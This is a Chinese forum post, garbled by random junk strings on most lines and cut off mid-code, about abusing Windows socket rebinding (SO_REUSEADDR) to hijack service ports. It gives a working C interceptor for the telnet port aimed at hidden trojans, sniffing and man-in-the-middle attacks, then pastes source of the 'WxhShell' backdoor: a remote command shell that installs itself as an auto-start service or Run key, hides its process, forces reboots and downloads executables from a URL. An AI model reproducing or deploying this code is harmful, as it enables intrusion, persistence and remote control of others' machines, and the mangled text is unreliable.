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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +#(GU9_i+M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rfSEL 57'  
|N 2r?b/g  
  saddr.sin_family = AF_INET; q9InO]s&~=  
p#r qe<Ua  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $~ d6KFT  
7suT26C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7/BjWU5*  
Olt;^> MQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R /_vJHI  
6ZjY-)h  
  这意味着什么?意味着可以进行如下的攻击: >^<;;8Xh  
@KZW*-"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NPa4I7`A  
;\ j'~AyCn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6KN6SN$  
37M,Os1(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vJx( lU`Y  
'^_^o)0gp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4)L};B=  
jrttWT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j4=\MK  
j``Ku@/x0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L}g#h+GP[  
uX1{K%^<TW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6W;`}'ap  
wp:Zur5Y  
  #include KXWz(L!1  
  #include 'S#^ 70kt  
  #include ,t'"3<^Jg  
  #include    }XCh>LvX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \y7Gi}nI  
  int main() v+<4?]EJ  
  { n+vv %  
  WORD wVersionRequested; X@)'E9g5:  
  DWORD ret; moMNd(p  
  WSADATA wsaData; rj1%IzaXU^  
  BOOL val; ,bB}lU)  
  SOCKADDR_IN saddr; k6\&[BQs  
  SOCKADDR_IN scaddr; 'S=eW_ 0/  
  int err; <v\x<ul6  
  SOCKET s; Ngm/5Lc  
  SOCKET sc; *ck'vV'@  
  int caddsize; ;L%\[H>G  
  HANDLE mt; MY(51)*  
  DWORD tid;   W3R43>$  
  wVersionRequested = MAKEWORD( 2, 2 ); GW.Y= S  
  err = WSAStartup( wVersionRequested, &wsaData ); 1gLET.I:  
  if ( err != 0 ) { v|3mbApv  
  printf("error!WSAStartup failed!\n"); Q} g"pl  
  return -1; 'loko#6  
  } Ov.oyke4  
  saddr.sin_family = AF_INET; V[7D4r.j  
   DKl\N~{F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6/Z_r0^O  
`vf]C'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +NOq>kH@  
  saddr.sin_port = htons(23); =>GGeEL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0rAuK7  
  { .j"@7#tW  
  printf("error!socket failed!\n"); *I k/Vu%;  
  return -1; xi)M8\K  
  } iU# "G" &  
  val = TRUE; > V >GiSni  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 UcB2Aauji  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #"[EVF0%1D  
  { %+C6#cj  
  printf("error!setsockopt failed!\n"); 58o&Dv6?  
  return -1; uME_/S uO  
  } -L wz T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ')(U<5y)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uaha)W;'9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,lb}&uZo  
1I8<6pi-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NpS =_QeNw  
  { GB)< 5I  
  ret=GetLastError(); a!;#u 8f  
  printf("error!bind failed!\n"); V2'5doo  
  return -1; :fnK`RnaQ  
  } iY5V4Gbo  
  listen(s,2); l}D /1~d  
  while(1) -NA2+].  
  { -<(RYMk*)  
  caddsize = sizeof(scaddr); G"Hj$  
  //接受连接请求 hsYv=Tw3C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9 {IDw   
  if(sc!=INVALID_SOCKET) akWOE}5#  
  { va0}?fy.O%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bE3mOml  
  if(mt==NULL) P5lk3Zg '  
  { qtFHA+bO  
  printf("Thread Creat Failed!\n"); w`gT]Rn  
  break; ?^`fPH=  
  }  nL[G@1nR  
  } XaMsIyhI  
  CloseHandle(mt); f5/s+H!  
  } 9VSi2p*  
  closesocket(s); 8uA!Vrp3  
  WSACleanup(); S7~HBgS<  
  return 0; ]oC"gWDYu  
  }   6.6?Rp".  
  DWORD WINAPI ClientThread(LPVOID lpParam) buhbUmQ2  
  { i4&V+h"  
  SOCKET ss = (SOCKET)lpParam; O9AFQ)u   
  SOCKET sc; DD`DU^o<  
  unsigned char buf[4096]; dAy\IfZX=  
  SOCKADDR_IN saddr; 2HF`}H)H  
  long num; aP B4!3W  
  DWORD val; S27s Rxfr  
  DWORD ret; u^W!$OfZpp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mmy/YP)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $xjfW/k?M  
  saddr.sin_family = AF_INET; &2I8!Ia  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SIc~cZ!Yu  
  saddr.sin_port = htons(23); W{~ y< `D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]EG8+K6  
  { d]N_<@tx9  
  printf("error!socket failed!\n"); +[4y)y`  
  return -1; [6Sk>j  
  } \C4wWh-A  
  val = 100; @a,=ApS"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7zIfsb  
  { 1qBE|PwBp  
  ret = GetLastError(); >qmNT/  
  return -1; c c/nzB  
  } E[4 vUnm-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C &y 2I  
  { +@*>N;$  
  ret = GetLastError(); rmr :G  
  return -1; {dn:1IcN  
  } !!w(`kmn1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 34nfL: y  
  { Kf_xKW)^  
  printf("error!socket connect failed!\n"); LXPO@2QF  
  closesocket(sc); iSg0X8J)  
  closesocket(ss); ?e,:x ]\L  
  return -1; \&ki79Ly-  
  } };<?W){!H  
  while(1) G;EJ\J6@Yw  
  { oK$Krrs0&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :{B']~Xf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H4j1yD(d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dDD5OnWmJ  
  num = recv(ss,buf,4096,0); N Z ,}v3  
  if(num>0) $Sa7N%D  
  send(sc,buf,num,0); pS}IU{#;  
  else if(num==0) c;06>1=wP5  
  break; ?/-WH?1I  
  num = recv(sc,buf,4096,0); %~8f0B|im  
  if(num>0) lnm@DWhf  
  send(ss,buf,num,0); md!!$+a%|  
  else if(num==0) G6G-qqXy6  
  break; 'cQ,;y  
  } YMU""/(  
  closesocket(ss); dQ9W40g1  
  closesocket(sc); *c&OAL]  
  return 0 ; rm$dv%q  
  } ;Krb/qr4_  
3la`S$c  
B([-GpZt[  
========================================================== Z @ef2y;  
7YK6e  
下边附上一个代码,,WXhSHELL  Fq5u%S  
"* N#-=MJF  
========================================================== dqo-.,=  
B3u/ y  
#include "stdafx.h" <r`;$K  
k;2.g$)W[c  
#include <stdio.h> m%>}T 75C^  
#include <string.h> BHYguS^qz  
#include <windows.h> :FtV~^Z  
#include <winsock2.h> "#-iD  
#include <winsvc.h> 75R#gQ]EV  
#include <urlmon.h> ?!/8~'xA6  
'5[(QM5Gi&  
#pragma comment (lib, "Ws2_32.lib") =T&<z_L  
#pragma comment (lib, "urlmon.lib") gsM^Pu09ud  
W*#5Sk  
#define MAX_USER   100 // 最大客户端连接数 ~gGkw#  
#define BUF_SOCK   200 // sock buffer q(^iT~}  
#define KEY_BUFF   255 // 输入 buffer <eS/-W %n6  
b=pk;'-  
#define REBOOT     0   // 重启 rKI<!  
#define SHUTDOWN   1   // 关机 %N&W_.F6  
VKX|0~  
#define DEF_PORT   5000 // 监听端口 >A6W^J|[  
U`HY eJ  
#define REG_LEN     16   // 注册表键长度 /F~/&p1<\k  
#define SVC_LEN     80   // NT服务名长度 92A9gY  
Y)1J8kq_  
// 从dll定义API G)t-W %D&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~9vK 6;0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S7nx4c2xK~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~D4l64  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fb8d= Zc  
eA-oqolY  
// wxhshell配置信息 ~+Pe=~a[  
struct WSCFG { ?Z?(ky!  
  int ws_port;         // 监听端口 E?P>s T3B  
  char ws_passstr[REG_LEN]; // 口令 EA8plQ~GtE  
  int ws_autoins;       // 安装标记, 1=yes 0=no /_{ZWLi(  
  char ws_regname[REG_LEN]; // 注册表键名 2zh- ms  
  char ws_svcname[REG_LEN]; // 服务名 QSa#}vCp*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V,d\Wkk/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j=M%*`@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @P75f5p}<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qg(;>ops  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E&y)`>Nq{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j7gTVfO  
};9s8VZE  
}; . <z7$lz\  
:adz~L$  
// default Wxhshell configuration j<0 ;JAL  
struct WSCFG wscfg={DEF_PORT, z+6PVQ  
    "xuhuanlingzhe", qAH^BrJ  
    1, !ae?EJm"  
    "Wxhshell", W4d32+V  
    "Wxhshell", #!UJY%c ~  
            "WxhShell Service", :dULsl$Nz  
    "Wrsky Windows CmdShell Service", !<=zFy[J.9  
    "Please Input Your Password: ", h`N2M,  
  1, !'F1Ht  
  "http://www.wrsky.com/wxhshell.exe", m+s*Io{Ip  
  "Wxhshell.exe" ?yq=c  
    }; ui#nN   
{fHor  
// 消息定义模块 = wDXlAQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FVrB#Hw~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l~]] RgU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !JrKTB%  
char *msg_ws_ext="\n\rExit."; M NwY   
char *msg_ws_end="\n\rQuit."; {O y|c  
char *msg_ws_boot="\n\rReboot..."; Pm)*zdZ8  
char *msg_ws_poff="\n\rShutdown..."; l_:P |  
char *msg_ws_down="\n\rSave to "; }l$zZ>.\H  
]3I a>i  
char *msg_ws_err="\n\rErr!"; W& 0R/y7  
char *msg_ws_ok="\n\rOK!"; hwXsfh |  
s a o&  
char ExeFile[MAX_PATH]; 8o%Vn'^t  
int nUser = 0; "ufSHrZv  
HANDLE handles[MAX_USER]; [iq^'E  
int OsIsNt; k"DZ"JC  
oydP}X  
SERVICE_STATUS       serviceStatus; _p0Yhju?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I P#vfM  
~210O5^  
// 函数声明 oOI0q_bf  
int Install(void); aQx6;PC  
int Uninstall(void); <H60rON  
int DownloadFile(char *sURL, SOCKET wsh); ~"`e9Im  
int Boot(int flag); v {HF}L  
void HideProc(void); a}NB6E)-  
int GetOsVer(void); A9BoH[is7  
int Wxhshell(SOCKET wsl); dR\yRC]I  
void TalkWithClient(void *cs); h?n?3x!(  
int CmdShell(SOCKET sock); @~ke=w6&pe  
int StartFromService(void); xtv%C  
int StartWxhshell(LPSTR lpCmdLine); A)n_ST0  
lF/ Xs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4_QfM}Fyp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @Drl5C}+  
p!:oT1U  
// 数据结构和表定义 ^ei[1 #  
SERVICE_TABLE_ENTRY DispatchTable[] = Pa d)|  
{ Ff/Ap&0+  
{wscfg.ws_svcname, NTServiceMain}, -avxH?;?7  
{NULL, NULL} Q<V1`e  
}; '62_q8:  
EL3X8H  
// 自我安装 R~a9}&  
int Install(void) M}11 tUl  
{ _w?!Mu  
  char svExeFile[MAX_PATH]; 5<PNl~0  
  HKEY key; u=qK_$d4  
  strcpy(svExeFile,ExeFile); <CO_JWD  
MFa/%O_*  
// 如果是win9x系统,修改注册表设为自启动 71[?AmxV  
if(!OsIsNt) { wMCg`rk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .gC.T`/m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o[Qb/ 7  
  RegCloseKey(key); tTTHQ7o*BD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F68e I%Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uQ_C<ii"W  
  RegCloseKey(key); 1gBLJ0q  
  return 0; LRu*%3xx  
    } 80Hi v  
  } $[`rY D/.  
} qZ[HILh!  
else { Gu$J;bXVj  
EQ^]W-gN  
// 如果是NT以上系统,安装为系统服务 r{r~!=u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); up['<Kt+a  
if (schSCManager!=0) .>TG{>sH  
{ ?+ d{Rh) y  
  SC_HANDLE schService = CreateService #lqH/>`>  
  ( deYv&=SPl  
  schSCManager, 0^V<,CAV  
  wscfg.ws_svcname, y[l{ UBue:  
  wscfg.ws_svcdisp, ZJWpb  
  SERVICE_ALL_ACCESS, <S7SH-{_\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r3' DXP  
  SERVICE_AUTO_START, u(1m#xr8$  
  SERVICE_ERROR_NORMAL, E-Xz  
  svExeFile, <?IDCOt ?  
  NULL, 9Cd/SlNV2  
  NULL, q j21#q .  
  NULL, 3YLfh`6  
  NULL, ,sc#l<v  
  NULL >H;m[  
  ); {9Qc\Ij  
  if (schService!=0) ;0kAm Vy  
  { QChWy`x  
  CloseServiceHandle(schService); [I%e Ro[  
  CloseServiceHandle(schSCManager); d!T,fz/-.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =/a`X[9vI  
  strcat(svExeFile,wscfg.ws_svcname); l]&A5tz3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T7mT:z>:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vA:ZR=)F  
  RegCloseKey(key); |Tmug X7  
  return 0; Jgr;'U$  
    } X4:84  
  } lt4IoE`tk?  
  CloseServiceHandle(schSCManager); L''VBY"?  
} ~DxuLk6 s  
} zF FYl7]  
"dv\ 9O  
return 1; d!<>Fh^6,  
} & ;5f/  
9HN&M*}  
// 自我卸载 9(HGe+R4o  
int Uninstall(void) K'8?%&IQ  
{ AX{<d@z`j  
  HKEY key; l<=k#d  
I&15[:b=-  
if(!OsIsNt) { {-7ovH?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g$)0E<  
  RegDeleteValue(key,wscfg.ws_regname); r`FTiPD.C  
  RegCloseKey(key); 3nhQ^zqf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rLD1Cpeb,w  
  RegDeleteValue(key,wscfg.ws_regname); ) xV>Va8)  
  RegCloseKey(key); 2.);OFk+  
  return 0; @/As|)  
  } *dB3Gu{ +  
} |I"&Z+m  
} &=%M("IlD  
else { |,n(9Ix  
1n2Pr'|s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TGG=9a]m  
if (schSCManager!=0) obbg# ,  
{ *R4=4e2#S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c3fi<?0&|  
  if (schService!=0) jsV1~1:83  
  { [=. iJ5,{2  
  if(DeleteService(schService)!=0) { "\9 beK:l  
  CloseServiceHandle(schService); )knK'H(  
  CloseServiceHandle(schSCManager); kW%wt1",  
  return 0; rjfWty%6pX  
  } vqUYr  
  CloseServiceHandle(schService); pkG8g5(w  
  } ):=8w.yC  
  CloseServiceHandle(schSCManager); c2GTN"  
} |,.1=|&u  
} a&mL Dh/  
="@f~~  
return 1; g:c?%J  
} g rQ,J  
%dmQmO,  
// 从指定url下载文件 's"aPqF?  
int DownloadFile(char *sURL, SOCKET wsh) )!zg=}V  
{ VD,g3B p  
  HRESULT hr; @1k-h;`,  
char seps[]= "/"; VL\Ah3+  
char *token; <Z1m9O "sy  
char *file; .ArOZ{lKD>  
char myURL[MAX_PATH]; ] :](xW%  
char myFILE[MAX_PATH]; ffOV7Dxy  
rP(;^8l"  
strcpy(myURL,sURL); #cJ1Jj $  
  token=strtok(myURL,seps); @Ko}Td&E(  
  while(token!=NULL) l~1l~Gx_&n  
  { ZS&+<kGD  
    file=token; ,k:>Z&:  
  token=strtok(NULL,seps); o|s|Wm x>u  
  } HXB & 6  
/I`-  
GetCurrentDirectory(MAX_PATH,myFILE); k_OzkEM9!  
strcat(myFILE, "\\"); `- 9p)@'8k  
strcat(myFILE, file); 0w2<2grQ  
  send(wsh,myFILE,strlen(myFILE),0); 7Sycy#D  
send(wsh,"...",3,0); );p:[=$71  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @C~gU@F  
  if(hr==S_OK) )4GCL(&  
return 0; !|,djo!N  
else <5|:QLqy  
return 1; y&F&Z3t  
Fe 7 8YDx?  
} x)kp*^/  
=#I/x=L:  
// 系统电源模块 z_$F)*PL  
int Boot(int flag) ge&!GO  
{ Uo:=-NNI  
  HANDLE hToken; Hq <!&  
  TOKEN_PRIVILEGES tkp; lxLEYDGFS  
N/B-u)?\:  
  if(OsIsNt) { Y c>.P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E^Z?X2Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fau24-g  
    tkp.PrivilegeCount = 1; HUGhz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E*UE?4FSw|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $_W kI^  
if(flag==REBOOT) { pJ@D}2u(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rhwjsC6  
  return 0; WP? AQD  
} 5oY^; )\/  
else { ! X<dN..  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pb|,rLNZ  
  return 0; s>e)\9c  
} iq`caoi  
  } zHQSx7Ow 5  
  else { |il P>b  
if(flag==REBOOT) { yH',vC.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "l-R|>6~  
  return 0; j:'8yFi_  
} te#Wv9x  
else { m}sh (W5\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _G ^Cc}X  
  return 0; 5P![fX|5  
} 6{?B`gm7g  
} L<ET"&b;4  
Dq9*il;'  
return 1; (Ujry =f  
} 8@d@T V!n&  
->a |  
// win9x进程隐藏模块 DDp\*6y3l  
void HideProc(void) Ws:MbZyr  
{ Nu7lPEM  
f2Z(hYH~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A$W~R  
  if ( hKernel != NULL ) .%+y_.l  
  { E8b:MY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >AUzsQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5T]dQ3[v4  
    FreeLibrary(hKernel); `-w;/A"MJ  
  } V5bB$tL}3  
S0!w]Ku  
return; >|g(/@IO  
} 6=g! Hs{  
Q4F&#^02y  
// 获取操作系统版本 Nh"U~zlh  
int GetOsVer(void) E{{Kz r2$  
{ Jqz K5)  
  OSVERSIONINFO winfo; &ZI-#(P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w L4P-4'  
  GetVersionEx(&winfo); eR:C?v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W7"UhM  
  return 1; )w,<XJhg`  
  else p;.M .  
  return 0; 0n*D](/NK  
} lwm 9gka  
Y |9  
// 客户端句柄模块 0?O$->t  
int Wxhshell(SOCKET wsl) b!`{fwV  
{ %{&,5|8  
  SOCKET wsh; 2ae"Sd!-2  
  struct sockaddr_in client; 8T88  
  DWORD myID; -lm)xpp1  
hRZYvZ3  
  while(nUser<MAX_USER) 8~y&"  \  
{ ew<_2Xy"<  
  int nSize=sizeof(client); cc0T b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'PWA  
  if(wsh==INVALID_SOCKET) return 1; @S1Z "%S  
Ty}Y/jW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @;}vK=6L  
if(handles[nUser]==0) H h35cj  
  closesocket(wsh); __}ut+H^5p  
else 2 ])e}& i  
  nUser++; 2WC$r8E  
  } z0@BBXQ`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KkCsQ~po  
0X5b32  
  return 0; m"!Q5[  
} Y=t? "E  
J vq)%t8q>  
// 关闭 socket /}9)ZY Mx  
void CloseIt(SOCKET wsh) hDXaCift  
{ 9 !$&1|,*  
closesocket(wsh); AkCy C1  
nUser--; MV]`[^xQ5  
ExitThread(0); {.ypZ8JU  
} 88l1g,`**  
RAWzQE }  
// 客户端请求句柄 z_Hkw3?  
void TalkWithClient(void *cs) H!'4A&  
{ #}l$<7Z U  
'KDt%?24  
  SOCKET wsh=(SOCKET)cs; -fp/3-  
  char pwd[SVC_LEN]; Swh\^/B8  
  char cmd[KEY_BUFF]; >~_z#2PA  
char chr[1]; 4U~'Oa @p  
int i,j; &hrMpD6z6i  
rgDl%X2B  
  while (nUser < MAX_USER) { ,4Q8r:_ u  
c-_1tSh}  
if(wscfg.ws_passstr) { {Q c,Nl [?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 41P0)o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #+i:s92],  
  //ZeroMemory(pwd,KEY_BUFF); JI  cm$  
      i=0; aRElk&M  
  while(i<SVC_LEN) { $41<ldJ  
JY@bD:  
  // 设置超时 ]=9 d'WL  
  fd_set FdRead; :aBm,q9i:}  
  struct timeval TimeOut; p3Ozfk  
  FD_ZERO(&FdRead); @,7r<6E  
  FD_SET(wsh,&FdRead); V^4v`}Wgx  
  TimeOut.tv_sec=8; HEAW](s  
  TimeOut.tv_usec=0; QO0@Ax\b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #-PMREgO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v 2 p  
ZjY,k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); crOSr/I$  
  pwd=chr[0]; *JfGGI_E  
  if(chr[0]==0xd || chr[0]==0xa) { ` &bF@$((  
  pwd=0; [V qiF~o,  
  break; \F-n}Z  
  } ]uF7HX7F  
  i++; ID`Ot{ y  
    } cJbv,RV<  
/W`CqJk-*.  
  // 如果是非法用户,关闭 socket * xmC`oP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |vm-(HY!  
} uF1 4;  
S7WHOr9XMV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4n@>gW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); he/rt#  
,9}JPv4Z  
while(1) { $]Ix(7@W  
J[r_ag  
  ZeroMemory(cmd,KEY_BUFF); )/JVp>  
jnbR}a=fJ  
      // 自动支持客户端 telnet标准   vea{o 35!  
  j=0; ;dMr2y`6  
  while(j<KEY_BUFF) { }No#_{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7O k-T10  
  cmd[j]=chr[0]; G7|d$!%  
  if(chr[0]==0xa || chr[0]==0xd) { SP<Sv8Okj  
  cmd[j]=0; V6](_w!  
  break; 2bLc57j{`9  
  } llR5qq=t  
  j++; Lg(G&ljE@k  
    } V"(5U(v{~  
Ix,b-C~  
  // 下载文件 ?lgE9I]  
  if(strstr(cmd,"http://")) { XUh&an$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R!7--]Wcg  
  if(DownloadFile(cmd,wsh)) HJJ)DE7;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -6uLww=w4  
  else H1%o)'Kut4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [h-NX  
  } yK"\~t[@X:  
  else { frm[<-~w0  
m*HUT V  
    switch(cmd[0]) { 87B$  
  .pe.K3G &  
  // 帮助 t4d/%b~{:U  
  case '?': { MIl\Bn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RrrlfFms  
    break; *^7^g!=z2  
  } B/K=\qmm  
  // 安装 IcQpb F0  
  case 'i': { {wt9/IlG1  
    if(Install()) :jkPV%!~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }*%=C!m4R!  
    else ] s 2ec  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s"nntC  
    break; ]Hi1^Y<  
    } zK1\InP  
  // 卸载 y6sY?uu  
  case 'r': { `WC4:8  
    if(Uninstall()) H&F2[j$T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v6aMYmenBH  
    else K)`R?CZ:s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _}']h^@ Z  
    break; C'l\4ij)7  
    } )PU\|I0|)e  
  // 显示 wxhshell 所在路径 I 6<LKI/  
  case 'p': { !f/^1k}SR  
    char svExeFile[MAX_PATH]; _uJ6Vy  
    strcpy(svExeFile,"\n\r"); #\Q)7pgi.  
      strcat(svExeFile,ExeFile); ;9=4]YZt  
        send(wsh,svExeFile,strlen(svExeFile),0); T}XJFV  
    break; n Zx^ej\  
    } C5Fq%y{$.  
  // 重启 n],cs  
  case 'b': { MfLus40;n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HQ4WunH2Y  
    if(Boot(REBOOT)) _Bn8i(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aOoWB^;6  
    else { r`u 9MJ*  
    closesocket(wsh); )0;O<G] d  
    ExitThread(0); 95D(0qv  
    } {Y]3t9!\  
    break; FuBUg _h  
    } \vj xCkg{  
